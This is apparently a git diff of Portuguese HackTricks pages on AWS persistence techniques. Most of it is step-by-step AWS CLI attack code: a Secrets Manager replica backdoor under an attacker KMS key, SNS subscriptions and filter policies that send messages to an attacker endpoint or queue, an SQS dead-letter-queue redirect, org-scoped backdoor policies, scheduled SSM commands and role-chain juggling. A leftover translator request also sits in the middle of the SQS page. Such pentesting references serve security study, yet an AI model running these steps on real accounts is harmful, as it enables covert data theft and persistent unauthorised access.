+- Quando você fornecer `--client-request-token`, Secrets Manager usa-o como o `VersionId`. Adicionar uma nova versão sem definir explicitamente `--version-stages` move `AWSCURRENT` para a nova versão por padrão, e marca a anterior como `AWSPREVIOUS`.
+
+
+### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
+
+Abuse da replicação multi-Region do Secrets Manager para criar uma réplica de um secret alvo em uma Região menos monitorada, criptografá-la com uma chave KMS controlada pelo atacante nessa Região, então promover a réplica para um secret independente e anexar uma resource policy permissiva que conceda ao atacante acesso de leitura. O secret original na Região primária permanece inalterado, proporcionando acesso durável e furtivo ao valor do secret via a réplica promovida enquanto contorna restrições de KMS/policy na primária.
+
+- Requisitos
+- Permissões: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
+- Na Região da réplica: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ou `kms:PutKeyPolicy`) para permitir que o principal atacante faça `kms:Decrypt`.
+- Um principal atacante (user/role) para receber acesso de leitura ao secret promovido.
+
+- Impacto
+- Caminho de acesso persistente entre Regiões ao valor do secret através de uma réplica standalone sob um KMS CMK controlado pelo atacante e resource policy permissiva. O secret primário na Região original permanece intacto.
+
+- Attack (CLI)
+- Vars
+```bash
+export R1=<primary-region>   # e.g., us-east-1
+export R2=<replica-region>   # e.g., us-west-2
+export SECRET_ID=<secret name or ARN in R1>
+export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
+```
+1) Criar chave KMS controlada pelo atacante na Região de réplica
+```bash
+cat > /tmp/kms_policy.json <<'JSON'
+{"Version":"2012-10-17","Statement":[
+{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
+]}
+JSON
+KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
+--query KeyMetadata.KeyId --output text)
+aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
+# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
+aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
+```
+2) Replicar o secret para R2 usando a KMS key do atacante
+```bash
+aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
+--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
+aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
+```
+3) Promover a réplica para uma instância independente no R2
+```bash
+# Use the secret name (same across Regions)
+NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
+aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
+aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
+```
+4) Anexar uma política de recursos permissiva ao segredo independente em R2
+```bash
+cat > /tmp/replica_policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
+JSON
+aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
+aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
+```
+5) Leia o secret do attacker principal em R2
+```bash
+# Configure attacker credentials and read
+aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
deleted file mode 100644
index 1fdbb2a40..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ /dev/null
@@ -1,77 +0,0 @@
-# AWS - SNS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Persistence
-
-Ao criar um **tópico SNS**, você precisa indicar com uma política IAM **quem tem acesso para ler e escrever**. É possível indicar contas externas, ARN de funções ou **até mesmo "\*"**.\
-A seguinte política dá a todos na AWS acesso para ler e escrever no tópico SNS chamado **`MySNS.fifo`**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__default_statement_ID",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"SNS:Publish",
-"SNS:RemovePermission",
-"SNS:SetTopicAttributes",
-"SNS:DeleteTopic",
-"SNS:ListSubscriptionsByTopic",
-"SNS:GetTopicAttributes",
-"SNS:AddPermission",
-"SNS:Subscribe"
-],
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-"Condition": {
-"StringEquals": {
-"AWS:SourceOwner": "318142138553"
-}
-}
-},
-{
-"Sid": "__console_pub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Publish",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-},
-{
-"Sid": "__console_sub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Subscribe",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-}
-]
-}
-```
-### Criar Assinantes
-
-Para continuar exfiltrando todas as mensagens de todos os tópicos, o atacante pode **criar assinantes para todos os tópicos**.
-
-Observe que se o **tópico for do tipo FIFO**, apenas assinantes usando o protocolo **SQS** podem ser utilizados.
-```bash
-aws sns subscribe --region <region> \
---protocol http \
---notification-endpoint http://<attacker>/ \
---topic-arn <arn>
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
new file mode 100644
index 000000000..933502409
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
@@ -0,0 +1,113 @@
+# AWS - SNS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Persistence
+
+Quando criar um **SNS topic**, você precisa indicar, através de uma política IAM, **quem tem acesso de leitura e escrita**. É possível indicar contas externas, ARN de roles, ou **até mesmo "\*"**.\
+A política a seguir dá a todos na AWS acesso de leitura e escrita no SNS topic chamado **`MySNS.fifo`**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
+}
+```
+### Criar Assinantes
+
+Para continuar exfiltrando todas as mensagens de todos os tópicos, um atacante poderia **criar assinantes para todos os tópicos**.
+
+Observe que, se o **tópico for do tipo FIFO**, apenas assinantes que utilizem o protocolo **SQS** podem ser usados.
+```bash
+aws sns subscribe --region <region> \
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
+```
+### Exfiltração encoberta e seletiva via FilterPolicy em MessageBody
+
+Um atacante com `sns:Subscribe` e `sns:SetSubscriptionAttributes` em um tópico pode criar uma assinatura SQS furtiva que só encaminha mensagens cujo corpo JSON corresponde a um filtro muito restrito (por exemplo, `{"secret":"true"}`). Isso reduz o volume e a detecção enquanto ainda consegue exfiltrar registros sensíveis.
+
+**Impacto Potencial**: Exfiltração encoberta e de baixo ruído somente de mensagens SNS direcionadas de um tópico vítima.
+
+Passos (AWS CLI):
+- Certifique-se de que a política da fila SQS do atacante permita `sqs:SendMessage` do `TopicArn` da vítima (Condition `aws:SourceArn` equals the `TopicArn`).
+- Crie uma assinatura SQS para o tópico:
+
+```bash
+aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
+```
+
+- Configure o filtro para operar no corpo da mensagem e corresponder apenas a `secret=true`:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
+```
+
+- Opcional (furtivo): habilite raw delivery para que apenas o payload bruto chegue ao receptor:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
+```
+
+- Validação: publique duas mensagens e confirme que apenas a primeira é entregue na fila do atacante. Exemplos de payloads:
+
+```json
+{"secret":"true","data":"exfil"}
+{"secret":"false","data":"benign"}
+```
+
+- Limpeza: cancele a assinatura e exclua a fila SQS do atacante se criada para testes de persistência.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
deleted file mode 100644
index d0408afee..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - SQS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### Usando política de recursos
-
-No SQS, você precisa indicar com uma política IAM **quem tem acesso para ler e escrever**. É possível indicar contas externas, ARN de funções ou **até mesmo "\*"**.\
-A seguinte política dá a todos na AWS acesso a tudo na fila chamada **MyTestQueue**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__owner_statement",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": ["SQS:*"],
-"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-}
-]
-}
-```
-> [!NOTE]
-> Você poderia até **disparar uma Lambda na conta dos atacantes toda vez que uma nova mensagem** for colocada na fila (você precisaria re-colocá-la) de alguma forma. Para isso, siga estas instruções: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
new file mode 100644
index 000000000..d700fb5a1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
@@ -0,0 +1,47 @@
+# AWS - SQS Persistência
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Usando política de recurso
+
+Em SQS você precisa indicar com uma política IAM **quem tem acesso de leitura e escrita**. É possível indicar contas externas, ARN of roles, or **even "\*"**.\
+A política a seguir dá a todos na AWS acesso a tudo na fila chamada **MyTestQueue**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
+}
+```
+> [!NOTE]
+> Você poderia até **acionar uma Lambda na conta do atacante toda vez que uma nova mensagem** é colocada na fila (você precisaria enviá-la novamente). Para isso, siga estas instruções: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+ 
+### Mais técnicas de persistência SQS
+
+{{#ref}}
+aws-sqs-dlq-backdoor-persistence.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-orgid-policy-backdoor.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
new file mode 100644
index 000000000..e75c53499
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
@@ -0,0 +1,71 @@
+# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusar das Dead-Letter Queues (DLQs) do SQS para desviar furtivamente dados de uma fila de origem vítima, apontando sua RedrivePolicy para uma fila controlada pelo atacante. Com um maxReceiveCount baixo e acionando ou aguardando falhas normais de processamento, as mensagens são automaticamente desviadas para o DLQ do atacante sem alterar os produtores ou os Lambda event source mappings.
+
+## Permissões Abusadas
+- sqs:SetQueueAttributes na fila de origem vítima (para definir RedrivePolicy)
+- sqs:SetQueueAttributes no DLQ do atacante (para definir RedriveAllowPolicy)
+- Opcional para aceleração: sqs:ReceiveMessage na fila de origem
+- Opcional para configuração: sqs:CreateQueue, sqs:SendMessage
+
+## Fluxo na Mesma Conta (allowAll)
+
+Preparação (conta do atacante ou principal comprometido):
+```bash
+REGION=us-east-1
+# 1) Create attacker DLQ
+ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
+ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Allow any same-account source queue to use this DLQ
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
+```
+Execução (executar como principal comprometido na conta da vítima):
+```bash
+# 3) Point victim source queue to attacker DLQ with low retries
+VICTIM_SRC_URL=<victim source queue url>
+ATTACKER_DLQ_ARN=<attacker dlq arn>
+aws sqs set-queue-attributes \
+--queue-url "$VICTIM_SRC_URL" --region $REGION \
+--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
+```
+Aceleração (opcional):
+```bash
+# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
+for i in {1..2}; do \
+aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
+--max-number-of-messages 10 --visibility-timeout 0; \
+done
+```
+Por favor envie o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md para que eu possa traduzir para português mantendo a sintaxe markdown/html conforme as instruções.
+```bash
+# 5) Confirm messages appear in attacker DLQ
+aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--max-number-of-messages 10 --attribute-names All --message-attribute-names All
+```
+Exemplo de evidência (Atributos incluem DeadLetterQueueSourceArn):
+```json
+{
+"MessageId": "...",
+"Body": "...",
+"Attributes": {
+"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
+}
+}
+```
+## Variante entre Contas (byQueue)
+Defina RedriveAllowPolicy na DLQ do atacante para permitir apenas ARNs de filas de origem específicas da vítima:
+```bash
+VICTIM_SRC_ARN=<victim source queue arn>
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
+```
+## Impacto
+- Exfiltração/persistência de dados furtiva e durável ao desviar automaticamente mensagens com falha de uma fila SQS de origem da vítima para uma DLQ controlada pelo atacante, com ruído operacional mínimo e sem alterações nos produtores ou nos mapeamentos do Lambda.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
new file mode 100644
index 000000000..74b4f5d3f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
@@ -0,0 +1,38 @@
+# AWS - SQS OrgID Policy Backdoor
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuse uma resource policy da fila SQS para conceder silenciosamente as ações Send, Receive e ChangeMessageVisibility a qualquer principal que pertença a uma AWS Organization alvo usando a condição aws:PrincipalOrgID. Isso cria um caminho oculto com escopo por organização que frequentemente evita controles que procuram apenas ARNs explícitos de conta ou role ou princípios curinga.
+
+### Backdoor policy (anexar à policy da fila SQS)
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OrgScopedBackdoor",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"sqs:ReceiveMessage",
+"sqs:SendMessage",
+"sqs:ChangeMessageVisibility",
+"sqs:GetQueueAttributes"
+],
+"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
+"Condition": {
+"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
+}
+}
+]
+}
+```
+### Passos
+- Obtenha o ID da organização usando a AWS Organizations API.
+- Obtenha o ARN da fila SQS e defina a política da fila incluindo a declaração acima.
+- A partir de qualquer principal que pertença a essa organização, envie e receba uma mensagem na fila para validar o acesso.
+
+### Impacto
+- Acesso oculto em toda a organização para ler e gravar mensagens SQS a partir de qualquer conta na AWS Organization especificada.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
deleted file mode 100644
index 14d6b3f91..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# AWS - SSM Persistência
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
-{{#endref}}
-
-### Usando ssm:CreateAssociation para persistência
-
-Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma Associação do Gerenciador de Estado para executar comandos automaticamente em instâncias EC2 gerenciadas pelo SSM. Essas associações podem ser configuradas para serem executadas em um intervalo fixo, tornando-as adequadas para persistência semelhante a backdoor sem sessões interativas.
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> Este método de persistência funciona enquanto a instância EC2 for gerenciada pelo Systems Manager, o agente SSM estiver em execução e o atacante tiver permissão para criar associações. Não requer sessões interativas ou permissões explícitas ssm:SendCommand. **Importante:** O parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutos da AWS. Para execução imediata ou única, omita completamente `--schedule-expression` — a associação será executada uma vez após a criação.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
new file mode 100644
index 000000000..8e3013566
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
@@ -0,0 +1,27 @@
+# AWS - SSM Persistência
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+{{#endref}}
+
+### Usando ssm:CreateAssociation para persistência
+
+Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma State Manager Association para executar automaticamente comandos em instâncias EC2 gerenciadas pelo SSM. Essas State Manager Associations podem ser configuradas para serem executadas em intervalos fixos, tornando-as adequadas para backdoor-like persistence sem sessões interativas.
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> Este método de persistência funciona desde que a instância EC2 seja gerenciada pelo Systems Manager, o SSM agent esteja em execução, e o atacante tenha permissão para criar associations. Não requer sessões interativas nem permissões explícitas ssm:SendCommand. **Importante:** O parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo da AWS de 30 minutos. Para execução imediata ou única, omita completamente `--schedule-expression` — a association será executada uma vez após a criação.
+> 
+> {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
deleted file mode 100644
index a0517c678..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - Persistência em Step Functions
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### Backdooring de Step Functions
-
-Backdoor uma step function para fazer com que ela execute qualquer truque de persistência, de modo que toda vez que for executada, rodará seus passos maliciosos.
-
-### Backdooring de aliases
-
-Se a conta AWS estiver usando aliases para chamar step functions, seria possível modificar um alias para usar uma nova versão backdoored da step function.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
new file mode 100644
index 000000000..f65d40e67
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
@@ -0,0 +1,21 @@
+# AWS - Step Functions Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Step function Backdooring
+
+Backdoor a step function para fazê-la executar qualquer técnica de persistência, de modo que toda vez que for executada ela executará seus passos maliciosos.
+
+### Backdooring aliases
+
+Se a conta AWS estiver usando aliases para chamar step functions, seria possível modificar um alias para apontar para uma nova versão backdoored da step function.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
similarity index 63%
rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
index 598c92c53..87edbf919 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
@@ -1,36 +1,36 @@
-# AWS - Persistência STS
+# AWS - STS Persistência
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-Para mais informações, acesse:
+Para mais informações acesse:
 
 {{#ref}}
-../aws-services/aws-sts-enum.md
+../../aws-services/aws-sts-enum.md
 {{#endref}}
 
-### Token de função assumida
+### Assume role token
 
-Tokens temporários não podem ser listados, então manter um token temporário ativo é uma maneira de manter a persistência.
+Tokens temporários não podem ser listados, portanto manter um token temporário ativo é uma forma de manter persistência.
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
-# Com MFA
+# With MFA
 aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# O nome do dispositivo de hardware geralmente é o número na parte de trás do dispositivo, como GAHT12345678
-<strong># O nome do dispositivo SMS é o ARN na AWS, como arn:aws:iam::123456789012:sms-mfa/username
-</strong># O nome do dispositivo virtual é o ARN na AWS, como arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
-### Malabarismo de Cadeia de Funções
+### Role Chain Juggling
 
-[**A cadeia de funções é um recurso reconhecido da AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), frequentemente utilizado para manter a persistência furtiva. Envolve a capacidade de **assumir uma função que então assume outra**, potencialmente revertendo para a função inicial de maneira **cíclica**. Cada vez que uma função é assumida, o campo de expiração das credenciais é atualizado. Consequentemente, se duas funções forem configuradas para assumir mutuamente uma à outra, essa configuração permite a renovação perpétua das credenciais.
+[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), frequentemente utilizada para manter persistência furtiva. Envolve a capacidade de **assumir um role que então assume outro**, potencialmente revertendo ao role inicial de maneira **cíclica**. Cada vez que um role é assumido, o campo de expiração das credenciais é atualizado. Consequentemente, se dois roles estiverem configurados para assumirem um ao outro mutuamente, essa configuração permite a renovação perpétua das credenciais.
 
-Você pode usar esta [**ferramenta**](https://github.com/hotnops/AWSRoleJuggler/) para manter a cadeia de funções ativa:
+You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -40,11 +40,11 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> Note que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras de uma cadeia de funções ser configurada.
-
+> Observe que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras pelas quais uma role chain pode ser configurada.
+ 
 <details>
 
-<summary>Código para realizar Role Juggling a partir do PowerShell</summary>
+<summary>Código para executar Role Juggling a partir do PowerShell</summary>
 ```bash
 # PowerShell script to check for role juggling possibilities using AWS CLI
 
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
 ```
 </details>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
similarity index 52%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
index 4d2d68678..8601148e5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
@@ -1,46 +1,46 @@
-# AWS - API Gateway Pós Exploração
+# AWS - API Gateway Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## API Gateway
 
-Para mais informações, consulte:
+Para mais informações consulte:
 
 {{#ref}}
-../aws-services/aws-api-gateway-enum.md
+../../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
 ### Acessar APIs não expostas
 
-Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o serviço `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões.\
